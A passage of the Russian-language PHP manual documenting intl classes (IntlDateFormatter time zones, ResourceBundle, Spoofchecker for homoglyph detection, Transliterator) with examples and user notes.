echo 'Теперь шаблон средства форматирования : ', datefmt_get_pattern($fmt), PHP_EOL;
echo 'Второй отформатированный вывод : ', datefmt_format($fmt, 0), PHP_EOL;
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Шаблон средства форматирования : ', $fmt->getPattern(), PHP_EOL;
echo 'Первый отформатированный вывод : ', $fmt->format(0), PHP_EOL;
$fmt->setPattern('yyyyMMdd hh:mm:ss z');
echo 'Теперь шаблон средства форматирования : ', $fmt->getPattern(), PHP_EOL;
echo 'Второй отформатированный вывод : ', $fmt->format(0), PHP_EOL;
?>

Результат выполнения данного примера:

Шаблон средства форматирования : MM/dd/yyyy
Первый отформатированный вывод : 12/31/1969
Теперь шаблон средства форматирования : yyyyMMdd hh:mm:ss z
Второй отформатированный вывод : 19691231 04:00:00 PST

Смотрите также

  • datefmt_get_pattern() - Получает шаблон, используемый IntlDateFormatter
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает часовой пояс средства форматирования

  • « IntlDateFormatter::setPattern
  • ResourceBundle »
  • PHP Manual
  • IntlDateFormatter
  • Устанавливает часовой пояс средства форматирования

IntlDateFormatter::setTimeZone

datefmt_set_timezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::setTimeZone -- datefmt_set_timezone — Устанавливает часовой пояс средства форматирования

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): ?bool

Процедурный стиль

datefmt_set_timezone(IntlDateFormatter $formatter, IntlTimeZone|DateTimeZone|string|null $timezone): ?bool

Устанавливает часовой пояс, используемый объектом IntlDateFormatter.

Список параметров

formatter

Ресурс средства форматирования.

timezone

Часовой пояс для средства форматирования. Можно указать в следующих форматах:

  • Если null, то будет использован часовой пояс по умолчанию, заданная в ini-настройки date.timezone либо с помощью функции date_default_timezone_set() и возвращённая функцией date_default_timezone_get().

  • Объект класса IntlTimeZone.

  • Объект класса DateTimeZone. Его идентификатор будет извлечён и на его основе будет создан объект часового пояса ICU; часовой пояс будет сохранён в базе данных ICU, а не PHP.

  • Строка, являющаяся корректным идентификатором часового пояса ICU. Смотрите IntlTimeZone::createTimeZoneIDEnumeration(). "Сырые" смещения, типа "GMT+08:30", также поддерживаются.

Возвращаемые значения

Возвращает null в случае успешного выполнения и false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlDateFormatter::setTimeZone()

<?php
ini_set('date.timezone', 'Europe/Amsterdam');

$formatter = IntlDateFormatter::create(NULL, NULL, NULL, "UTC");

$formatter->setTimeZone(NULL);
echo "NULL\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(IntlTimeZone::createTimeZone('Europe/Lisbon'));
echo "IntlTimeZone\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(new DateTimeZone('Europe/Paris'));
echo "DateTimeZone\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('Europe/Rome');
echo "String\n ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('GMT+00:30');
print_r($formatter->getTimeZone());

Результат выполнения данного примера:

NULL
    Europe/Amsterdam
IntlTimeZone
    Europe/Lisbon
DateTimeZone
    Europe/Paris
String
    Europe/Rome
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+00:30
    [rawOffset] => 1800000
    [currentOffset] => 1800000
)

Смотрите также

  • IntlDateFormatter::getTimeZone() - Получает часовой пояс средства форматирования

User Contributed Notes

There are no user contributed notes for this page.


Класс ResourceBundle

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

Введение

Локализованные программные продукты часто нуждаются в наборах данных подготовленных в зависимости от текущей локали, например: сообщения, метки, шаблоны форматирования. Механизм ресурсов ICU позволяет задать наборы ресурсов, которые приложение может загрузить в зависимости от текущей локали и использовать унифицированным, не зависящим от локали, образом.

Этот класс реализует доступ к файлам ресурсов ICU. Эти файлы являются бинарными массивами данных, которые ICU использует для хранения локализованных данных.

Пакет ресурсов ICU может содержать простые и сложные ресурсы. Сложные ресурсы - это контейнеры, которые могут быть индексированы как числами так и строками (аналогично массивам PHP). Простые ресурсы могут быть следующих типов: строки, целые, бинарные поля данных и целочисленные массивы.

ResourceBundleподдерживает прямой доступ к данным через синтаксис доступа к массивам и итерироваться через foreach, так же как и доступ через методы. В результате будет получено значение PHP для простых ресурсов и объекты ResourceBundle для сложных. Все ресурсы доступны только для чтения.

Обзор классов

class ResourceBundle implements IteratorAggregate, Countable {
/* Методы */
public __construct(?string $locale, ?string $bundle, bool $fallback = true)
public count(): int
public static create(?string $locale, ?string $bundle, bool $fallback = true): ?ResourceBundle
public getErrorCode(): int
public getErrorMessage(): string
public get(string|int $index, bool $fallback = true): mixed
public static getLocales(string $bundle): array|false
}

Список изменений

Версия | Описание
8.0.0 | Класс ResourceBundle теперь реализует интерфейс IteratorAggregate. Ранее был реализован интерфейс Traversable.
7.4.0 | Класс ResourceBundle теперь реализует интерфейс Countable.

Смотрите также

  • » Менеджер ресурсов ICU
  • » Данные ICU

Содержание

  • ResourceBundle::count — Получить количество элементов в пакете
  • ResourceBundle::create — Создать пакет ресурсов
  • ResourceBundle::getErrorCode — Получить последний код ошибки пакета
  • ResourceBundle::getErrorMessage — Получить последнее сообщение об ошибке пакета
  • ResourceBundle::get — Получить данные из пакета
  • ResourceBundle::getLocales — Получить поддерживаемые локали

User Contributed Notes

maiseralves at gmail dot com 19-May-2011 01:03
<?php
/*
 * Struct of a Resource Bundle file
 * file root.txt
 * root:table {
 *       usage:string { "Usage: genrb [Options] files" }
 *       version:int { 122 }
 *       errorcodes:array {
 *           :string { "Invalid argument" }
 *           :string { "File not found" }
 *        }
 *   }
 * use: $genrb root.txt to generate resource bundle file (root.res)
 */

//recursive function to list a resource bundle file structure using a ResourceBundle Object ( ) reference
function t($rb) {
    foreach($rb as $k => $v) {
        if(is_object($v)) {
            print_r($v);
            var_dump($k);
            t($v);
        } else {
            var_dump($k . " " . $v);
        }
    }
}
//open root.res from folder locale
$rb = new ResourceBundle('root', "./locale");

t($rb);//call the function

/* The output from root table is
 *   |- string(34) "usage Usage: genrb [Options] files"
 *   |- string(11) "version 122"
 *   |- ResourceBundle Object ( ) string(10) "errorcodes"
 *         |- string(18) "0 Invalid argument"
 *         |- string(16) "1 File not found"
 */
?>


Получить количество элементов в пакете

  • « ResourceBundle
  • ResourceBundle::create »
  • PHP Manual
  • ResourceBundle
  • Получить количество элементов в пакете

ResourceBundle::count

resourcebundle_count

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::count -- resourcebundle_count — Получить количество элементов в пакете

Описание

Объектно-ориентированный стиль

public ResourceBundle::count(): int

Процедурный стиль

resourcebundle_count(ResourceBundle $bundle): int

Получает количество элементов в пакете.

Список параметров

bundle

Объект ResourceBundle.

Возвращаемые значения

Возвращает количество элементов в пакете.

Примеры

Пример #1 Пример использования resourcebundle_count()

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_count($r);
?>

Пример #2 Пример в объектно-ориентированном стиле

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->count();
?>

Результат выполнения данного примера:

42

Смотрите также

  • resourcebundle_get() - Получить данные из пакета

User Contributed Notes

There are no user contributed notes for this page.


Создать пакет ресурсов

  • « ResourceBundle::count
  • ResourceBundle::getErrorCode »
  • PHP Manual
  • ResourceBundle
  • Создать пакет ресурсов

ResourceBundle::create

resourcebundle_create

ResourceBundle::__construct

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::create -- resourcebundle_create -- ResourceBundle::__construct — Создать пакет ресурсов

Описание

Объектно-ориентированный стиль (метод)

public static ResourceBundle::create(?string $locale, ?string $bundle, bool $fallback = true): ?ResourceBundle

Процедурный стиль

resourcebundle_create(?string $locale, ?string $bundle, bool $fallback = true): ?ResourceBundle

Объектно-ориентированный стиль (конструктор):

public ResourceBundle::__construct(?string $locale, ?string $bundle, bool $fallback = true)

Создаёт пакет ресурсов.

Список параметров

locale

Локаль для которой необходимо загружать ресурсы (имя локали, например, ru_RU).

bundle

Директория, в которой лежат данные, либо имя .dat файла.

fallback

Определяет, нужно ли точно придерживаться заданной локали или можно откатываться к родительской, если возможно.

Возвращаемые значения

Возвращает объект ResourceBundle или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования resourcebundle_create()

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

Пример #2 Пример использования ResourceBundle::create()

<?php
$r = ResourceBundle::create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

Результат выполнения данного примера:

?Hola, mundo!

Смотрите также

  • resourcebundle_get() - Получить данные из пакета

User Contributed Notes

Anonymous 22-Oct-2019 12:50
Depending on the data you want to load, you might need to pass 'root' or something different as $locale.
Here is a list of examples and the corresponding link to the file that gets loaded:

ResourceBundle::create('de', 'ICUDATA-brkitr', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/brkitr/de.txt

ResourceBundle::create('root', 'ICUDATA-curr', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/curr/root.txt

ResourceBundle::create('root', 'ICUDATA-translit', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/translit/root.txt

ResourceBundle::create('likelySubtags', 'ICUDATA', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/misc/likelySubtags.txt
mail at dasprids dot de 23-Jun-2014 12:17
Since this took me over 4 hours to find out after digging through the libicu source code, I thought it'd be a good idea to post it here. do access othere thata than the default "locale" data (which you get by passing NULL as $bundlename), you can use the following somewhat magic strings to get other resource bundles:

ICUDATA-curr
ICUDATA-lang
ICUDATA-region
ICUDATA-zone
mail at dasprids dot de 22-Jun-2014 09:55
To get the resource bundle provided by libicu, you can pass "null" as $bundlename.


Получить последний код ошибки пакета

  • « ResourceBundle::create
  • ResourceBundle::getErrorMessage »
  • PHP Manual
  • ResourceBundle
  • Получить последний код ошибки пакета

ResourceBundle::getErrorCode

resourcebundle_get_error_code

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::getErrorCode -- resourcebundle_get_error_code — Получить последний код ошибки пакета

Описание

Объектно-ориентированный стиль

public ResourceBundle::getErrorCode(): int

Процедурный стиль

resourcebundle_get_error_code(ResourceBundle $bundle): int

Возвращает код последней ошибки возникшей при вызове функций пакета.

Список параметров

bundle

Объект ResourceBundle.

Возвращаемые значения

Возвращает код последней ошибки возникшей при вызове функций пакета.

Примеры

Пример #1 Пример использования resourcebundle_get_error_code()

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
report_error("Ошибка пакета");
}
?>

Пример #2 Пример в объектно-ориентированном стиле

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
report_error("Ошибка пакета");
}
?>

Смотрите также

  • resourcebundle_get_error_message() - Получить последнее сообщение об ошибке пакета
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получить последнее сообщение об ошибке пакета

  • « ResourceBundle::getErrorCode
  • ResourceBundle::get »
  • PHP Manual
  • ResourceBundle
  • Получить последнее сообщение об ошибке пакета

ResourceBundle::getErrorMessage

resourcebundle_get_error_message

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::getErrorMessage -- resourcebundle_get_error_message — Получить последнее сообщение об ошибке пакета

Описание

Объектно-ориентированный стиль

public ResourceBundle::getErrorMessage(): string

Процедурный стиль

resourcebundle_get_error_message(ResourceBundle $bundle): string

Возвращает последнее сообщение об ошибке при вызове функций пакета.

Список параметров

bundle

Объект ResourceBundle.

Возвращаемые значения

Возвращает последнее сообщение об ошибке при вызове функций пакета.

Примеры

Пример #1 Пример использования resourcebundle_get_error_message()

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
report_error("Ошибка пакета: ".resourcebundle_get_error_message($r));
}
?>

Пример #2 Пример в объектно-ориентированном стиле

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
report_error("Ошибка пакета: ".ResourceBundle::getErrorMessage($r));
}
?>

Смотрите также

  • resourcebundle_get_error_code() - Получить последний код ошибки пакета
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получить данные из пакета

  • « ResourceBundle::getErrorMessage
  • ResourceBundle::getLocales »
  • PHP Manual
  • ResourceBundle
  • Получить данные из пакета

ResourceBundle::get

resourcebundle_get

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::get -- resourcebundle_get — Получить данные из пакета

Описание

Объектно-ориентированный стиль

public ResourceBundle::get(string|int $index, bool $fallback = true): mixed

Процедурный стиль

resourcebundle_get(ResourceBundle $bundle, string|int $index, bool $fallback = true): mixed

Возвращает данные из пакета по индексу или строковому ключу.

Список параметров

bundle

Объект ResourceBundle.

index

Индекс данных, должен быть строкой или целым числом.

fallback

Должна ли локаль совпадать точно, или можно откатиться к родительской локали.

Возвращаемые значения

Возвращает данные из пакета по индексу или строковому ключу или null в случае возникновения ошибки. Строки, целые числа и бинарные строки возвращаются в соответствующем типе PHP, массивы целых чисел возвращаются как массивы PHP. Сложные типы возвращаются как объекты ResourceBundle.

Примеры

Пример #1 Пример использования resourcebundle_get()

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_get($r, 'somestring');
?>

Пример #2 Пример в объектно-ориентированном стиле

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->get('somestring');
?>

Результат выполнения данного примера:

?Hola, mundo!

Смотрите также

  • resourcebundle_count() - Получить количество элементов в пакете

User Contributed Notes

There are no user contributed notes for this page.


Получить поддерживаемые локали

  • « ResourceBundle::get
  • Spoofchecker »
  • PHP Manual
  • ResourceBundle
  • Получить поддерживаемые локали

ResourceBundle::getLocales

resourcebundle_locales

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::getLocales -- resourcebundle_locales — Получить поддерживаемые локали

Описание

Объектно-ориентированный стиль

public static ResourceBundle::getLocales(string $bundle): array|false

Процедурный стиль

resourcebundle_locales(string $bundle): array|false

Возвращает доступные в ResourceBundle локали.

Список параметров

bundle

Путь к ResourceBundle или пустая строка, для получения списка по умолчанию или false в случае возникновения ошибки.

Возвращаемые значения

Возвращает доступные в ResourceBundle локали.

Примеры

Пример #1 Пример использования resourcebundle_locales()

<?php
$bundle = "/user/share/data/myapp";
echo join(PHP_EOL, resourcebundle_locales($bundle));
?>

Результатом выполнения данного примера будет что-то подобное:

es
root

Пример #2 Пример в объектно-ориентированном стиле

<?php
$bundle = "/usr/share/data/myapp";
$r = new ResourceBundle( 'es', $bundle);
echo join("\n", $r->getLocales($bundle));
?>

Результатом выполнения данного примера будет что-то подобное:

es
root

Смотрите также

  • resourcebundle_get() - Получить данные из пакета

User Contributed Notes

jared at enhancesoft dot com 20-Oct-2014 02:53
If you call this method with an empty string, it will return a list of all locales available in the ICU library (via the intl extension):

<?php
print_r(ResourceBundle::getLocales(''));

 /* Output might show
  * Array
  * (
  *    [0] => af
  *    [1] => af_NA
  *    [2] => af_ZA
  *    [3] => am
  *    [4] => am_ET
  *    [5] => ar
  *    [6] => ar_AE
  *    [7] => ar_BH
  *    [8] => ar_DZ
  *    [9] => ar_EG
  *    [10] => ar_IQ
  *  ...
  */
?>


Класс Spoofchecker

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Введение

Этот класс существует потому, что Unicode содержит большое количество символов и включает в себя различные системы письма со всего мира и их некорректное использование может сделать программы и системы уязвимыми к хакерским атакам, использующим сходство символов.

Предоставляемые методы позволяют проверить строку на предмет попыток обмануть пользователя (spoof detection), например, вставить в слово "pаypаl" кириллический символ 'а'.

Обзор классов

class Spoofchecker {
/* Константы */
public const int SINGLE_SCRIPT_CONFUSABLE;
public const int MIXED_SCRIPT_CONFUSABLE;
public const int WHOLE_SCRIPT_CONFUSABLE;
public const int ANY_CASE;
public const int SINGLE_SCRIPT;
public const int INVISIBLE;
public const int CHAR_LIMIT;
public const int ASCII;
public const int HIGHLY_RESTRICTIVE;
public const int MODERATELY_RESTRICTIVE;
public const int MINIMALLY_RESTRICTIVE;
public const int UNRESTRICTIVE;
public const int SINGLE_SCRIPT_RESTRICTIVE;
/* Методы */
public __construct()
public areConfusable(string $string1, string $string2, int &$errorCode = null): bool
public isSuspicious(string $string, int &$errorCode = null): bool
public setAllowedLocales(string $locales): void
public setChecks(int $checks): void
public setRestrictionLevel(int $level): void
}

Предопределённые константы

Spoofchecker::SINGLE_SCRIPT_CONFUSABLE

Spoofchecker::MIXED_SCRIPT_CONFUSABLE

Spoofchecker::WHOLE_SCRIPT_CONFUSABLE

Spoofchecker::ANY_CASE

Spoofchecker::SINGLE_SCRIPT

Spoofchecker::INVISIBLE

Spoofchecker::CHAR_LIMIT

Spoofchecker::ASCII

Spoofchecker::HIGHLY_RESTRICTIVE

Spoofchecker::MODERATELY_RESTRICTIVE

Spoofchecker::MINIMALLY_RESTRICTIVE

Spoofchecker::UNRESTRICTIVE

Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE

Список изменений

Версия | Описание
7.3.0 | Добавлены константы класса, используемые Spoofchecker::setRestrictionLevel(), такие как: Spoofchecker::ASCII, Spoofchecker::HIGHLY_RESTRICTIVE, Spoofchecker::MODERATELY_RESTRICTIVE, Spoofchecker::MINIMALLY_RESTRICTIVE, Spoofchecker::UNRESTRICTIVE, Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE.

Содержание

  • Spoofchecker::areConfusable — Проверить, являются ли строки подозрительными
  • Spoofchecker::__construct — Конструктор класса
  • Spoofchecker::isSuspicious — Проверяет, содержит ли текст подозрительные символы
  • Spoofchecker::setAllowedLocales — Локаль для использования в проверках
  • Spoofchecker::setChecks — Установить набор проверок
  • Spoofchecker::setRestrictionLevel — Set the restriction level

User Contributed Notes

Anonymous 20-Apr-2018 12:38
Spoofchecker yields false positives by defaut when Whole-Script Confusables (WSC) and Mixed-Script Confusables (MSC) checks are used.
They have been deprecated since ICU 58:
http://bugs.icu-project.org/trac/ticket/12549#comment:10

Workarounds: upgrade ICU to 58+, or avoid the MSC and WSC checks with Spoofcheckers' setChecks() function.
Anonymous 27-May-2017 07:07
From http://icu-project.org/apiref/icu4j/com/ibm/icu/text/SpoofChecker.html :
SINGLE_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are from the same script
MIXED_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are NOT from the same script
WHOLE_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are NOT from the same script BUT both of them are single-script strings
ANY_CASE: Deprecated.
SINGLE_SCRIPT: Deprecated.
INVISIBLE: Check an identifier for the presence of invisible characters, such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
CHAR_LIMIT: Check that an identifier contains only characters from a specified set of acceptable characters.

Explanation of whole script, mixed script and single script confusables in UTS 39 section 4 : http://unicode.org/reports/tr39/#Confusable_Detection

Details from Java SpoofChecker class at http://icu-project.org/apiref/icu4j/com/ibm/icu/text/SpoofChecker.html


Проверить, являются ли строки подозрительными

  • « Spoofchecker
  • Spoofchecker::__construct »
  • PHP Manual
  • Spoofchecker
  • Проверить, являются ли строки подозрительными

Spoofchecker::areConfusable

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::areConfusable — Проверить, являются ли строки подозрительными

Описание

public Spoofchecker::areConfusable(string $string1, string $string2, int &$errorCode = null): bool

Проверяет, на сколько легко перепутать две строки.

Список параметров

string1

Первая строка.

string2

Вторая строка.

errorCode

Этот параметр передаётся по ссылке и заполняется целым числом (int), содержащим ошибку, если таковая есть.

Возвращаемые значения

Возвращает true, если две строки легко перепутать и false, если нет.

Примеры

Пример #1 Пример использования Spoofchecker::areConfusable()

<?php
$checker = new Spoofchecker();

$checker->areConfusable('google.com', 'goog1e.com'); // true
// Английскую строчную "l" легко перепутать с цифрой 1

$checker->areConfusable('google.com', 'g00g1e.com'); // false
// Ноль (0) сложно перепутать со строчной "o"

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса

  • « Spoofchecker::areConfusable
  • Spoofchecker::isSuspicious »
  • PHP Manual
  • Spoofchecker
  • Конструктор класса

Spoofchecker::__construct

(Информация о версии неизвестна, возможно, только в Git)

Spoofchecker::__construct — Конструктор класса

Описание

public Spoofchecker::__construct()

Создаёт экземпляр класса Spoofchecker.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли текст подозрительные символы

  • « Spoofchecker::__construct
  • Spoofchecker::setAllowedLocales »
  • PHP Manual
  • Spoofchecker
  • Проверяет, содержит ли текст подозрительные символы

Spoofchecker::isSuspicious

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::isSuspicious — Проверяет, содержит ли текст подозрительные символы

Описание

public Spoofchecker::isSuspicious(string $string, int &$errorCode = null): bool

Проверяет, содержит ли текст подозрительные символы, которые визуально идентичны, но являются при этом символами Unicode из другого языкового набора.

Список параметров

string

Строка для проверки.

errorCode

Этот параметр передаётся по ссылке и заполняется целым числом (int), содержащим ошибку, если таковая есть.

Возвращаемые значения

Возвращает true, если содержит подозрительные символы и false, если нет.

Примеры

Пример #1 Пример использования Spoofchecker::isSuspicious()

<?php
$checker = new Spoofchecker();

$checker->isSuspicious('google.com'); // false: только символы ASCII

$checker->isSuspicious('Рaypal.com'); // true
// Первая буква из кириллического набора, а не обычная латинская "P"

User Contributed Notes

There are no user contributed notes for this page.


Локаль для использования в проверках

  • « Spoofchecker::isSuspicious
  • Spoofchecker::setChecks »
  • PHP Manual
  • Spoofchecker
  • Локаль для использования в проверках

Spoofchecker::setAllowedLocales

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::setAllowedLocales — Локаль для использования в проверках

Описание

public Spoofchecker::setAllowedLocales(string $locales): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locales

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить набор проверок

  • « Spoofchecker::setAllowedLocales
  • Spoofchecker::setRestrictionLevel »
  • PHP Manual
  • Spoofchecker
  • Установить набор проверок

Spoofchecker::setChecks

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::setChecks — Установить набор проверок

Описание

public Spoofchecker::setChecks(int $checks): void

Устанавливает проверки, которые будут выполняться методом SpoofChecker::isSuspicious().

Список параметров

checks

Проверки, которые будут выполняться методом SpoofChecker::isSuspicious().
Битовая маска, состоящая из констант
Spoofchecker::SINGLE_SCRIPT_CONFUSABLE,
Spoofchecker::MIXED_SCRIPT_CONFUSABLE,
Spoofchecker::WHOLE_SCRIPT_CONFUSABLE,
Spoofchecker::ANY_CASE,
Spoofchecker::SINGLE_SCRIPT,
Spoofchecker::INVISIBLE или
Spoofchecker::CHAR_LIMIT.
По умолчанию все проверки, начиная с ICU 58;
до этой версии константа Spoofchecker::SINGLE_SCRIPT была исключена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Set the restriction level

  • « Spoofchecker::setChecks
  • Transliterator »
  • PHP Manual
  • Spoofchecker
  • Set the restriction level

Spoofchecker::setRestrictionLevel

(PHP 7 >= 7.3.0, PHP 8)

Spoofchecker::setRestrictionLevel — Set the restriction level

Описание

public Spoofchecker::setRestrictionLevel(int $level): void

Sets the restriction level of SpoofChecker::isSuspicious().

Список параметров

level

The restriction level of SpoofChecker::isSuspicious().
One of
Spoofchecker::ASCII,
Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE,
Spoofchecker::HIGHLY_RESTRICTIVE,
Spoofchecker::MODERATELY_RESTRICTIVE,
Spoofchecker::MINIMALLY_RESTRICTIVE, or
Spoofchecker::UNRESTRICTIVE.
Defaults to Spoofchecker::HIGHLY_RESTRICTIVE.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс Transliterator

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Введение

Данный класс предоставляет функциональность транслитерации строк.

Обзор классов

class Transliterator {
/* Константы */
public const int FORWARD;
public const int REVERSE;
/* Свойства */
public readonly string $id;
/* Методы */
final private __construct()
public static create(string $id, int $direction = Transliterator::FORWARD): ?Transliterator
public static createFromRules(string $rules, int $direction = Transliterator::FORWARD): ?Transliterator
public createInverse(): ?Transliterator
public getErrorCode(): int|false
public getErrorMessage(): string|false
public static listIDs(): array|false
public transliterate(string $string, int $start = 0, int $end = -1): string|false
}

Свойства

id

Предопределённые константы

Transliterator::FORWARD

Transliterator::REVERSE

Список изменений

Версия | Описание
8.2.0 | Свойство id теперь доступно только для чтения.

Содержание

  • Transliterator::__construct — Приватный конструктор
  • Transliterator::create — Создать транслитератор
  • Transliterator::createFromRules — Создать транслитератор на основе правил
  • Transliterator::createInverse — Создать инвертированный транслитератор
  • Transliterator::getErrorCode — Получить код последней ошибки
  • Transliterator::getErrorMessage — Получить последнее сообщение об ошибке
  • Transliterator::listIDs — Получить идентификаторы транслитератора
  • Transliterator::transliterate — Транслитерировать строку

User Contributed Notes

metalinspired 13-Jul-2021 09:44
New location of documentation: https://unicode-org.github.io/icu/userguide/transforms/general/
asphp at dsgml dot com 02-Sep-2014 09:07
For more documentation see here: http://userguide.icu-project.org/transforms/general


Приватный конструктор

  • « Transliterator
  • Transliterator::create »
  • PHP Manual
  • Transliterator
  • Приватный конструктор

Transliterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::__construct — Приватный конструктор

Описание

final private Transliterator::__construct()

Этот метод не может быть вызван. Он существует только для закрытия возможности создания объекта с помощью оператора new.

Вместо него используйте фабричные методы Transliterator::create() или Transliterator::createFromRules().

Список параметров

У этой функции нет параметров.

Смотрите также

  • Transliterator::create() - Создать транслитератор
  • Transliterator::createFromRules() - Создать транслитератор на основе правил

User Contributed Notes

There are no user contributed notes for this page.


Создать транслитератор

  • « Transliterator::__construct
  • Transliterator::createFromRules »
  • PHP Manual
  • Transliterator
  • Создать транслитератор

Transliterator::create

transliterator_create

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::create -- transliterator_create — Создать транслитератор

Описание

Объектно-ориентированный стиль

public static Transliterator::create(string $id, int $direction = Transliterator::FORWARD): ?Transliterator

Процедурный стиль

transliterator_create(string $id, int $direction = Transliterator::FORWARD): ?Transliterator

Открывает объект Transliterator по идентификатору.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

id

Идентификатор. Список всех зарегистрированных идентификаторов транслитератора можно получить с помощью Transliterator::listIDs().

direction

Направление транслитерации. По умолчанию >Transliterator::FORWARD. Можно использовать Transliterator::REVERSE.

Возвращаемые значения

Возвращает объект Transliterator или null в случае возникновения ошибки.

Смотрите также

  • Transliterator::getErrorMessage() - Получить последнее сообщение об ошибке
  • Transliterator::__construct() - Приватный конструктор

User Contributed Notes

Harry..de 27-Oct-2020 07:27
// Translit each and every char to ASCII

$string = 'Москва?';
$string = Transliterator::create('Any-Latin; Latin-ASCII')->transliterate($string);

print $string;

// the result is "Moskva"
Jan Kucha 07-Aug-2020 06:50
If you want to go deeper into what is going on, read the ICU projects docs: http://userguide.icu-project.org/transforms/general

This API call is basically just wrapper around ICU Transliteration.
Baran Sakallolu 12-Nov-2019 08:29
A good example of create for non latin languages is Turkish.

There both upper case I character and lowercase ? character which makes other strtolower kind of functions useless.

$text = "Igd?r";

echo Transliterator::create("tr-Lower")->transliterate($text);

will return the correct result ?gd?r, not igd?r .


Создать транслитератор на основе правил

  • « Transliterator::create
  • Transliterator::createInverse »
  • PHP Manual
  • Transliterator
  • Создать транслитератор на основе правил

Transliterator::createFromRules

transliterator_create_from_rules

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::createFromRules -- transliterator_create_from_rules — Создать транслитератор на основе правил

Описание

Объектно-ориентированный стиль

public static Transliterator::createFromRules(string $rules, int $direction = Transliterator::FORWARD): ?Transliterator

Процедурный стиль

transliterator_create_from_rules(string $rules, int $direction = Transliterator::FORWARD): ?Transliterator

Создать транслитератор на основе правил.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

rules

Правила, которые описаны в разделе Transform Rules Syntax отчёта UTS #35: Unicode LDML.

direction

Направление транслитерации. По умолчанию Transliterator::FORWARD. Можно использовать Transliterator::REVERSE.

